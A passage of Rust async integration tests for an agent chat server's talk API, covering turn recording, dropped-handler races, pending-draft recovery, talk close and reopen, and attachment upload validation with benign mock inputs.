16038        assert!(empty.unfinished_ids.is_empty());
16039        assert!(empty.counts.values().all(|count| *count == 0));
16040    }
16041
16042    #[tokio::test]
16043    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16044        let (_tmp, _repo, f) = talk_fixture().await;
16045        let id = f.post("/api/talks", None).await.json()["id"]
16046            .as_str()
16047            .expect("id")
16048            .to_owned();
16049
16050        let res = f
16051            .post(
16052                &format!("/api/talks/{id}/say"),
16053                Some(r#"{"text":"what does the queue module do?"}"#),
16054            )
16055            .await;
16056        assert_eq!(res.status, 202, "{}", res.body);
16057        let queued = res.json();
16058        let turns = queued["turns"].as_array().expect("turns array");
16059        assert_eq!(
16060            turns.len(),
16061            1,
16062            "the answer reflects only what is on disk the instant it is sent, \
16063             before the agent's turn - which can run for the whole of \
16064             `[graph] timeout_talk` - has a chance to land: {queued}"
16065        );
16066        assert_eq!(turns[0]["who"], "operator");
16067        assert_eq!(turns[0]["body"], "what does the queue module do?");
16068        assert_eq!(
16069            queued["thinking"], true,
16070            "the accepted response exposes the background turn claim: {queued}"
16071        );
16072
16073        let mut turns_after = 1;
16074        for _ in 0..SETTLE_STEPS {
16075            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16076            turns_after = detail["turns"].as_array().expect("turns array").len();
16077            if turns_after == 2 {
16078                break;
16079            }
16080            tokio::time::sleep(Duration::from_millis(10)).await;
16081        }
16082        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16083    }
16084
16085    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16086    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16087    /// guards against: `talk::record` used to return, and only *then* did the
16088    /// handler make a second, separate disk round trip before spawning the
16089    /// agent's reply task. A future dropped in that gap left a message
16090    /// recorded on disk with no reply task ever started and no way back short
16091    /// of a fresh message - and the gap was not even the whole story: *any*
16092    /// `.await` in this handler, including the very first one, is a point
16093    /// where a drop can land after the awaited work already finished but
16094    /// before this handler's own code resumes to act on it. `record` now
16095    /// runs inside the task `tokio::spawn` hands to the runtime before this
16096    /// handler ever awaits anything of its own again, so there is nothing
16097    /// left in *this* handler's future for a disconnect to interrupt between
16098    /// the message landing on disk and the reply task starting.
16099    ///
16100    /// A real socket disconnect cannot be relied on to land in the old gap
16101    /// from a test - over loopback, `talk_say` typically finishes before the
16102    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16103    /// same failure mode directly: it drops the task's future at whatever
16104    /// point it has reached, exactly what axum does to the handler future,
16105    /// without needing to win a real network race. Sweeping the delay before
16106    /// aborting samples a range of points the task's execution can be at,
16107    /// including where the old code sat waiting on its second disk round
16108    /// trip - confirmed by reverting this fix locally and watching this same
16109    /// sweep catch a talk stuck with the operator's turn recorded and no
16110    /// reply ever following.
16111    #[tokio::test]
16112    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16113        let tmp = TempDir::new().expect("tempdir");
16114        let repo = tmp.path().join("repo");
16115        std::fs::create_dir_all(&repo).expect("repo dir");
16116        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16117        let home = TempDir::new().expect("temp home");
16118        let talks = Talks::at(home.path().join("talks"));
16119        let ui = Arc::new(
16120            Ui::new(
16121                Queue::at(home.path().join("queue")),
16122                Questions::at(home.path().join("questions")),
16123                talks.clone(),
16124                home.path().join("runs"),
16125                home.path().to_path_buf(),
16126                repo.clone(),
16127            )
16128            .with_worktrees_root(home.path().join("wt")),
16129        );
16130        let cfg = config_for(&repo).await.expect("discover config");
16131
16132        for delay in 0..40u32 {
16133            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16134            let id = talk.id.clone();
16135
16136            let handler = tokio::spawn(talk_say(
16137                State(Arc::clone(&ui)),
16138                Path(id.clone()),
16139                Ok(Json(NewTalkTurn {
16140                    reply_to: None,
16141                    text: "what does the queue module do?".to_owned(),
16142                    attachments: Vec::new(),
16143                })),
16144            ));
16145            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16146            handler.abort();
16147            // Wait out the abort so the next iteration's talk does not race
16148            // this one's still-unwinding turn guard.
16149            let _ = handler.await;
16150
16151            let mut turns = 0;
16152            for _ in 0..SETTLE_STEPS {
16153                if let Ok(fresh) = talks.get(&id) {
16154                    turns = fresh.turns.len();
16155                    if turns != 1 {
16156                        break;
16157                    }
16158                }
16159                tokio::time::sleep(Duration::from_millis(10)).await;
16160            }
16161            assert_ne!(
16162                turns, 1,
16163                "delay {delay}: talk {id} recorded the operator's turn but \
16164                 the agent never answered - the reply task was never \
16165                 started after the handler future was dropped"
16166            );
16167        }
16168    }
16169
16170    /// The same drop, landing on `talk_say`'s other durable write.
16171    ///
16172    /// When a turn is already running, the busy branch persists the
16173    /// operator's text as a queued draft and then reclaims the turn slot if
16174    /// the holder gave it up in the meantime - and whoever reclaims owes that
16175    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16176    /// which finishes whether or not the future awaiting it is still there,
16177    /// so a handler dropped at that `.await` used to leave the draft written
16178    /// to disk with the reclaimed guard dropped unread and no drainer ever
16179    /// started: the message sat queued until some unrelated later `say`
16180    /// happened to pick it up.
16181    ///
16182    /// This used to drive the handler future by hand, polling it a fixed
16183    /// number of times to park it at the `.await` where it asks for the turn
16184    /// and finds it busy, before the reclaim's slot-free case could be set up
16185    /// underneath it. That assumed a fixed number of polls lands at a fixed
16186    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16187    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16188    /// poll, so any number of this handler's several `blocking` awaits can
16189    /// collapse into one poll under load, landing the drive somewhere other
16190    /// than intended - including, occasionally, straight past the handler's
16191    /// own completion, which made polling it again panic with "async fn
16192    /// resumed after completion". No poll count fixes that; the handler's
16193    /// progress simply is not something a caller outside it can observe by
16194    /// counting.
16195    ///
16196    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16197    /// inside the write itself, so the interleaving under test is pinned by
16198    /// an event instead of a guess: the gate fires only once the handler has
16199    /// actually decided `Busy` and is about to persist the draft, and it
16200    /// blocks that write until the test lets it through. Between those two
16201    /// moments the test drains the turn the handler found busy - through
16202    /// `drain_loop`, the protocol's other half - and then aborts the handler
16203    /// task outright, the same way axum drops a disconnected request's
16204    /// future. The write, and the reclaim it may do, run to completion
16205    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16206    /// to the runtime before ever touching the gate, wholly independent of
16207    /// whether the handler that started it is still around - which is what
16208    /// this test is actually checking. A drainer other than that reclaim
16209    /// cannot exist here: the test's own `drain_loop` call happens before the
16210    /// gate opens, so it runs while the queue is still empty and hands the
16211    /// turn straight back rather than draining anything, closing off the
16212    /// possibility of the final assertion passing without the reclaim ever
16213    /// having done its job.
16214    #[tokio::test]
16215    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16216        let tmp = TempDir::new().expect("tempdir");
16217        let repo = tmp.path().join("repo");
16218        std::fs::create_dir_all(&repo).expect("repo dir");
16219        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16220        let home = TempDir::new().expect("temp home");
16221        let talks = Talks::at(home.path().join("talks"));
16222        let ui = Arc::new(
16223            Ui::new(
16224                Queue::at(home.path().join("queue")),
16225                Questions::at(home.path().join("questions")),
16226                talks.clone(),
16227                home.path().join("runs"),
16228                home.path().to_path_buf(),
16229                repo.clone(),
16230            )
16231            .with_worktrees_root(home.path().join("wt")),
16232        );
16233        let cfg = config_for(&repo).await.expect("discover config");
16234
16235        for attempt in 0..3u32 {
16236            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16237            let id = talk.id.clone();
16238            // A turn is already running, which is what sends `talk_say` down
16239            // the busy branch.
16240            let turn_guard = ui
16241                .begin_talk_turn(&id)
16242                .expect("claim the turn")
16243                .expect("a fresh talk owes nobody a turn");
16244
16245            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16246            let (release_tx, release_rx) = std::sync::mpsc::channel();
16247            ui.set_busy_queue_gate(BusyQueueGate {
16248                reached: reached_tx,
16249                release: release_rx,
16250            });
16251
16252            let handler = tokio::spawn(talk_say(
16253                State(Arc::clone(&ui)),
16254                Path(id.clone()),
16255                Ok(Json(NewTalkTurn {
16256                    reply_to: None,
16257                    text: "what does the queue module do?".to_owned(),
16258                    attachments: Vec::new(),
16259                })),
16260            ));
16261
16262            // Wait for the busy branch to actually reach the gate, rather
16263            // than for any fixed number of polls of anything - a bounded
16264            // wait rather than a bare `.await` so a regression that never
16265            // reaches the gate fails the test instead of hanging it.
16266            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16267                .await
16268                .unwrap_or_else(|_| {
16269                    panic!(
16270                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16271                    )
16272                })
16273                .expect("the busy branch dropped the gate without using it");
16274            assert!(
16275                crate::chat_worker::try_publication_guard(&talks, &id)
16276                    .expect("publication fence")
16277                    .is_none(),
16278                "a queued worker cannot promote text before its successor reservation is published"
16279            );
16280
16281            // A listener replacement queues its writer behind this accepted
16282            // mutation. Even disconnecting the HTTP caller must not release
16283            // admission before the write-to-worker handoff has completed.
16284            let closing = Arc::clone(&ui.admissions).write_owned();
16285            tokio::pin!(closing);
16286            std::future::poll_fn(|cx| {
16287                assert!(closing.as_mut().poll(cx).is_pending());
16288                std::task::Poll::Ready(())
16289            })
16290            .await;
16291            assert!(
16292                ui.begin_admission().is_err(),
16293                "replacement blocks later admissions"
16294            );
16295
16296            // The turn that was running now finishes and gives the slot up
16297            // the way a real one does - through `drain_loop`, which finds
16298            // nothing queued yet (the write is still held at the gate) and
16299            // releases. The handler, parked inside `spawn_blocking` on the
16300            // other side of the gate, still believes the talk is busy -
16301            // exactly the interleaving the reclaim exists for.
16302            let running = talks.get(&id).expect("reload talk");
16303            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16304
16305            // Drop the handler future now, the way a reloading phone drops
16306            // it: suspended waiting on the busy branch's answer, having
16307            // itself made no more progress since it handed the write off.
16308            handler.abort();
16309            let _ = handler.await;
16310            std::future::poll_fn(|cx| {
16311                assert!(
16312                    closing.as_mut().poll(cx).is_pending(),
16313                    "HTTP cancellation must not abandon a publishing transaction"
16314                );
16315                std::task::Poll::Ready(())
16316            })
16317            .await;
16318            assert!(
16319                crate::chat_worker::try_publication_guard(&talks, &id)
16320                    .expect("publication fence after disconnect")
16321                    .is_none()
16322            );
16323
16324            // Only now let the gated write proceed. It persists the draft
16325            // and reclaims the now-free slot from inside the task the busy
16326            // branch already spawned - unaffected by the handler's abort
16327            // above, since that task was independent of the handler's own
16328            // future from the moment it was spawned.
16329            let _ = release_tx.send(());
16330            drop(
16331                tokio::time::timeout(Duration::from_secs(5), closing)
16332                    .await
16333                    .expect("short admission transaction should release for replacement"),
16334            );
16335            assert!(
16336                crate::chat_worker::try_publication_guard(&talks, &id)
16337                    .expect("publication fence after acknowledgement")
16338                    .is_some(),
16339                "the publication fence is not retained by the long response"
16340            );
16341
16342            // A settled talk: the draft drained into an operator turn and
16343            // answered.
16344            let mut fresh = talks.get(&id).expect("reload talk");
16345            for _ in 0..SETTLE_STEPS {
16346                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16347                    break;
16348                }
16349                tokio::time::sleep(Duration::from_millis(10)).await;
16350                fresh = talks.get(&id).expect("reload talk");
16351            }
16352            assert!(
16353                fresh.pending.is_empty() && fresh.turns.len() == 2,
16354                "attempt {attempt}: talk {id} left the operator's text queued \
16355                 with no drainer - the reclaimed turn was dropped along with \
16356                 the handler future (pending {:?}, {} turns)",
16357                fresh.pending,
16358                fresh.turns.len()
16359            );
16360        }
16361    }
16362
16363    #[tokio::test]
16364    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16365        let (_tmp, _repo, f) = talk_fixture().await;
16366        let id = f.post("/api/talks", None).await.json()["id"]
16367            .as_str()
16368            .expect("id")
16369            .to_owned();
16370        let store = f.talks();
16371        let mut recovered = store.get(&id).expect("opened talk");
16372        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16373            .expect("persist pending draft without a live turn");
16374
16375        let edited = f
16376            .post(
16377                &format!("/api/talks/{id}/pending/edit"),
16378                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16379            )
16380            .await;
16381        assert_eq!(edited.status, 200, "{}", edited.body);
16382        assert!(edited.json()["thinking"].as_bool().unwrap());
16383
16384        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16385        for _ in 0..SETTLE_STEPS {
16386            if detail["turns"].as_array().expect("turns").len() == 2 {
16387                break;
16388            }
16389            tokio::time::sleep(Duration::from_millis(10)).await;
16390            detail = f.get(&format!("/api/talks/{id}")).await.json();
16391        }
16392        let turns = detail["turns"].as_array().expect("turns");
16393        assert_eq!(
16394            turns.len(),
16395            2,
16396            "the recovered draft must run once: {detail}"
16397        );
16398        assert_eq!(turns[0]["body"], "corrected");
16399        assert_eq!(detail["pending"], "");
16400    }
16401
16402    #[tokio::test]
16403    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16404        let tmp = TempDir::new().expect("tempdir");
16405        let repo = tmp.path().join("repo");
16406        std::fs::create_dir_all(&repo).expect("repo dir");
16407        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16408        let f = Fixture::with_repo(repo).await;
16409        let id = f.post("/api/talks", None).await.json()["id"]
16410            .as_str()
16411            .expect("id")
16412            .to_owned();
16413        let store = f.talks();
16414        let mut recovered = store.get(&id).expect("opened talk");
16415        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16416            .expect("persist pending draft without a live turn");
16417
16418        let refused = f
16419            .post(
16420                &format!("/api/talks/{id}/say"),
16421                Some(r#"{"text":"new message"}"#),
16422            )
16423            .await;
16424        assert_eq!(refused.status, 409, "{}", refused.body);
16425        assert!(refused.body.contains("resume"), "{}", refused.body);
16426        let saved = store.get(&id).expect("draft remains after refusal");
16427        assert!(saved.turns.is_empty());
16428        assert_eq!(saved.pending, "saved before restart");
16429
16430        let say_path = format!("/api/talks/{id}/say");
16431        let (first, second) = tokio::join!(
16432            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16433            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16434        );
16435        assert_eq!(first.status, 409, "{}", first.body);
16436        assert_eq!(second.status, 409, "{}", second.body);
16437        let saved = store
16438            .get(&id)
16439            .expect("draft remains after concurrent refusals");
16440        assert!(saved.turns.is_empty());
16441        assert_eq!(saved.pending, "saved before restart");
16442
16443        let resumed = f
16444            .post(&format!("/api/talks/{id}/pending/resume"), None)
16445            .await;
16446        assert_eq!(resumed.status, 202, "{}", resumed.body);
16447        let duplicate = f
16448            .post(&format!("/api/talks/{id}/pending/resume"), None)
16449            .await;
16450        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16451
16452        for _ in 0..SETTLE_STEPS {
16453            if store.get(&id).expect("talk").turns.len() == 2 {
16454                break;
16455            }
16456            tokio::time::sleep(Duration::from_millis(10)).await;
16457        }
16458        let finished = store.get(&id).expect("finished talk");
16459        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16460        assert_eq!(finished.turns[0].body, "saved before restart");
16461        assert!(finished.pending.is_empty());
16462    }
16463
16464    #[tokio::test]
16465    async fn an_image_only_recovered_draft_resumes_without_text() {
16466        let (_tmp, _repo, f) = talk_fixture().await;
16467        let id = f.post("/api/talks", None).await.json()["id"]
16468            .as_str()
16469            .expect("id")
16470            .to_owned();
16471        let uploaded = f
16472            .post_bytes(
16473                &format!("/api/talks/{id}/attachments"),
16474                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16475                PNG_BYTES,
16476            )
16477            .await;
16478        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16479        let attachment = f
16480            .talks()
16481            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16482            .expect("attachment metadata")
16483            .expect("stored attachment");
16484        let store = f.talks();
16485        let mut recovered = store.get(&id).expect("opened talk");
16486        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16487
16488        let resumed = f
16489            .post(&format!("/api/talks/{id}/pending/resume"), None)
16490            .await;
16491        assert_eq!(resumed.status, 202, "{}", resumed.body);
16492        for _ in 0..SETTLE_STEPS {
16493            if store.get(&id).expect("talk").turns.len() == 2 {
16494                break;
16495            }
16496            tokio::time::sleep(Duration::from_millis(10)).await;
16497        }
16498        let finished = store.get(&id).expect("finished talk");
16499        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16500        assert!(finished.turns[0].body.is_empty());
16501        assert_eq!(finished.turns[0].attachments.len(), 1);
16502        assert!(finished.pending_attachments.is_empty());
16503    }
16504
16505    #[tokio::test]
16506    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16507        let (_tmp, _repo, f) = talk_fixture().await;
16508        let id = f.post("/api/talks", None).await.json()["id"]
16509            .as_str()
16510            .expect("id")
16511            .to_owned();
16512        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16513        assert_eq!(closed.status, 200, "{}", closed.body);
16514        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16515            .expect("serialize closed talk");
16516        for (path, body) in [
16517            (format!("/api/talks/{id}/pending/resume"), None),
16518            (
16519                format!("/api/talks/{id}/pending/clear"),
16520                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16521            ),
16522            (
16523                format!("/api/talks/{id}/pending/edit"),
16524                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16525            ),
16526            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16527        ] {
16528            let response = f.post(&path, body).await;
16529            assert_eq!(response.status, 409, "{}", response.body);
16530        }
16531        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16532            .expect("serialize closed talk");
16533        assert_eq!(
16534            after_clear, before_clear,
16535            "clear must not rewrite a closed talk"
16536        );
16537    }
16538
16539    /// Keeps both claims observable long enough to exercise the distinction
16540    /// between one busy talk and a globally locked Chat surface.
16541    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16542
16543    #[tokio::test]
16544    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16545        let tmp = TempDir::new().expect("tempdir");
16546        let repo = tmp.path().join("repo");
16547        std::fs::create_dir_all(&repo).expect("repo dir");
16548        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16549        let f = Fixture::with_repo(repo).await;
16550        let id_a = f.post("/api/talks", None).await.json()["id"]
16551            .as_str()
16552            .unwrap()
16553            .to_owned();
16554        let id_b = f.post("/api/talks", None).await.json()["id"]
16555            .as_str()
16556            .unwrap()
16557            .to_owned();
16558
16559        let a = f
16560            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16561            .await;
16562        assert_eq!(a.status, 202, "{}", a.body);
16563        assert_eq!(a.json()["thinking"], true);
16564        let b = f
16565            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16566            .await;
16567        assert_eq!(b.status, 202, "{}", b.body);
16568        assert_eq!(b.json()["thinking"], true);
16569
16570        let listed = f.get("/api/talks").await.json();
16571        for id in [&id_a, &id_b] {
16572            let view = listed
16573                .as_array()
16574                .unwrap()
16575                .iter()
16576                .find(|talk| talk["id"] == *id)
16577                .unwrap();
16578            assert_eq!(view["thinking"], true, "{listed}");
16579        }
16580        let repeated = f
16581            .post(
16582                &format!("/api/talks/{id_a}/say"),
16583                Some(r#"{"text":"again"}"#),
16584            )
16585            .await;
16586        assert_eq!(repeated.status, 202, "{}", repeated.body);
16587        assert_eq!(repeated.json()["pending"], "again");
16588    }
16589
16590    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16591    /// few more, since real uploads are never exactly eight bytes.
16592    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16593
16594    #[tokio::test]
16595    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16596        let f = Fixture::start().await;
16597        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16598
16599        let res = f
16600            .post_bytes(
16601                &format!("/api/talks/{id}/attachments"),
16602                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16603                PNG_BYTES,
16604            )
16605            .await;
16606        assert_eq!(res.status, 201, "{}", res.body);
16607        let body = res.json();
16608        assert_eq!(body["name"], "shot.png");
16609        assert_eq!(body["mime"], "image/png");
16610        assert_eq!(body["bytes"], PNG_BYTES.len());
16611        let att_id = body["id"].as_str().expect("id").to_owned();
16612        assert_eq!(
16613            att_id.len(),
16614            32,
16615            "the id must never be a client-suppliable path: {att_id}"
16616        );
16617
16618        let got = f
16619            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16620            .await;
16621        assert_eq!(got.status, 200, "{}", got.body);
16622        assert_eq!(got.header("content-type"), Some("image/png"));
16623        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16624        assert_eq!(got.bytes, PNG_BYTES);
16625    }
16626
16627    #[tokio::test]
16628    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16629        let f = Fixture::start().await;
16630        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16631
16632        // SVG can carry a `<script>`, so it is never on the whitelist even
16633        // though it is a real IANA image type.
16634        let svg = f
16635            .post_bytes(
16636                &format!("/api/talks/{id}/attachments"),
16637                &[("Content-Type", "image/svg+xml")],
16638                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16639            )
16640            .await;
16641        assert!(
16642            (400..500).contains(&svg.status),
16643            "svg must be refused: {} {}",
16644            svg.status,
16645            svg.body
16646        );
16647        assert!(svg.body.contains("SVG"), "{}", svg.body);
16648
16649        let text = f
16650            .post_bytes(
16651                &format!("/api/talks/{id}/attachments"),
16652                &[("Content-Type", "text/plain")],
16653                b"just some text",
16654            )
16655            .await;
16656        assert!(
16657            (400..500).contains(&text.status),
16658            "an unlisted type must be refused: {} {}",
16659            text.status,
16660            text.body
16661        );
16662
16663        // The declared type is a real png, but the size check runs before
16664        // the bytes are even looked at.
16665        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16666        let big = f
16667            .post_bytes(
16668                &format!("/api/talks/{id}/attachments"),
16669                &[("Content-Type", "image/png")],
16670                &oversized,
16671            )
16672            .await;
16673        assert_eq!(
16674            big.status,
16675            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16676            "{}",
16677            big.body
16678        );
16679    }
16680
16681    #[tokio::test]
16682    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16683        let f = Fixture::start().await;
16684        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16685
16686        // A whitelisted `Content-Type`, but bytes that are not actually a
16687        // png - the declared header alone is never trusted.
16688        let res = f
16689            .post_bytes(
16690                &format!("/api/talks/{id}/attachments"),
16691                &[("Content-Type", "image/png")],
16692                b"<html>not a picture</html>",
16693            )
16694            .await;
16695        assert!((400..500).contains(&res.status), "{}", res.body);
16696    }
16697
16698    #[tokio::test]
16699    async fn an_unknown_attachment_id_is_a_404() {
16700        let f = Fixture::start().await;
16701        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16702
16703        let res = f
16704            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16705            .await;
16706        assert_eq!(res.status, 404, "{}", res.body);
16707    }
16708
16709    #[tokio::test]
16710    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16711        let f = Fixture::start().await;
16712        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16713
16714        let uploaded = f
16715            .post_bytes(
16716                &format!("/api/talks/{id}/attachments"),
16717                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16718                PNG_BYTES,
16719            )
16720            .await;
16721        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16722        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16723
16724        let res = f
16725            .post(
16726                &format!("/api/talks/{id}/say"),
16727                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16728            )
16729            .await;
16730        assert_eq!(res.status, 202, "{}", res.body);
16731        let queued = res.json();
16732        let turns = queued["turns"].as_array().expect("turns array");
16733        assert_eq!(
16734            turns.len(),
16735            1,
16736            "an empty body with an attachment is still a turn: {queued}"
16737        );
16738        assert_eq!(turns[0]["who"], "operator");
16739        assert_eq!(turns[0]["body"], "");
16740        let atts = turns[0]["attachments"]
16741            .as_array()
16742            .expect("attachments array");
16743        assert_eq!(atts.len(), 1);
16744        assert_eq!(atts[0]["id"], att_id);
16745        assert_eq!(atts[0]["mime"], "image/png");
16746
16747        // Not only in the response: `record` flushes to disk before the
16748        // agent's own turn is even spawned.
16749        let on_disk = f.talks().get(&id).expect("get");
16750        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16751        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16752    }
16753
16754    #[tokio::test]
16755    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16756        let f = Fixture::start().await;
16757        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16758
16759        let res = f
16760            .post(
16761                &format!("/api/talks/{id}/say"),
16762                Some(&format!(
16763                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16764                    "a".repeat(32)
16765                )),
16766            )
16767            .await;
16768        assert!((400..500).contains(&res.status), "{}", res.body);
16769        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16770
16771        let on_disk = f.talks().get(&id).expect("get");
16772        assert!(
16773            on_disk.turns.is_empty(),
16774            "a rejected attachment id must not partially record the turn: {:?}",
16775            on_disk.turns
16776        );
16777    }
16778
16779    #[tokio::test]
16780    async fn talk_close_makes_the_talk_refuse_further_turns() {
16781        let f = Fixture::start().await;
16782        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16783
16784        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16785        assert_eq!(closed.status, 200, "{}", closed.body);
16786        assert_eq!(closed.json()["status"], "closed");
16787
16788        // Idempotent: closing an already-closed talk is not an error.
16789        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16790        assert_eq!(closed_again.status, 200);
16791        assert_eq!(closed_again.json()["status"], "closed");
16792
16793        let said = f
16794            .post(
16795                &format!("/api/talks/{id}/say"),
16796                Some(r#"{"text":"too late"}"#),
16797            )
16798            .await;
16799        assert_eq!(said.status, 409, "{}", said.body);
16800    }
16801
16802    #[tokio::test]
16803    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16804        let f = Fixture::start().await;
16805        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16806        let store = f.talks();
16807        let mut queued = store.get(&id).expect("talk");
16808        for automatic in [false, true] {
16809            if automatic {
16810                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16811                    .expect("queue automatic input");
16812            } else {
16813                talk::queue(&mut queued, &store, "queued send", Vec::new())
16814                    .expect("queue operator input");
16815            }
16816            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16817            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16818            assert_eq!(refused.status, 409, "{}", refused.body);
16819            assert!(refused.body.contains("pending input"), "{}", refused.body);
16820            assert_eq!(
16821                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16822                before,
16823                "a close refusal must preserve the entire record"
16824            );
16825            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16826        }
16827        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16828        assert_eq!(closed.status, 200, "{}", closed.body);
16829        assert_eq!(closed.json()["status"], "closed");
16830    }
16831
16832    #[tokio::test]
16833    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16834        let (_tmp, _repo, f) = talk_fixture().await;
16835        let id = f.post("/api/talks", None).await.json()["id"]
16836            .as_str()
16837            .expect("id")
16838            .to_owned();
16839        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16840        assert_eq!(closed.status, 200, "{}", closed.body);
16841
16842        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16843        assert_eq!(reopened.status, 200, "{}", reopened.body);
16844        assert_eq!(reopened.json()["status"], "open");
16845
16846        // Idempotent: reopening an already-open talk is not an error.
16847        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16848        assert_eq!(reopened_again.status, 200);
16849        assert_eq!(reopened_again.json()["status"], "open");
16850
16851        let said = f
16852            .post(
16853                &format!("/api/talks/{id}/say"),
16854                Some(r#"{"text":"still there?"}"#),
16855            )
16856            .await;
16857        assert_eq!(
16858            said.status, 202,
16859            "a reopened talk accepts turns again: {}",
16860            said.body
16861        );
16862    }
16863
16864    #[tokio::test]
16865    async fn talk_reopen_on_an_unknown_id_is_404() {
16866        let f = Fixture::start().await;
16867        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16868        assert_eq!(res.status, 404, "{}", res.body);
16869    }
16870
16871    #[tokio::test]
16872    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16873        let f = Fixture::start().await;
16874        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16875
16876        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16877        assert_eq!(deleted.status, 204, "{}", deleted.body);
16878
16879        let after = f.get(&format!("/api/talks/{id}")).await;
16880        assert_eq!(after.status, 404, "{}", after.body);
16881
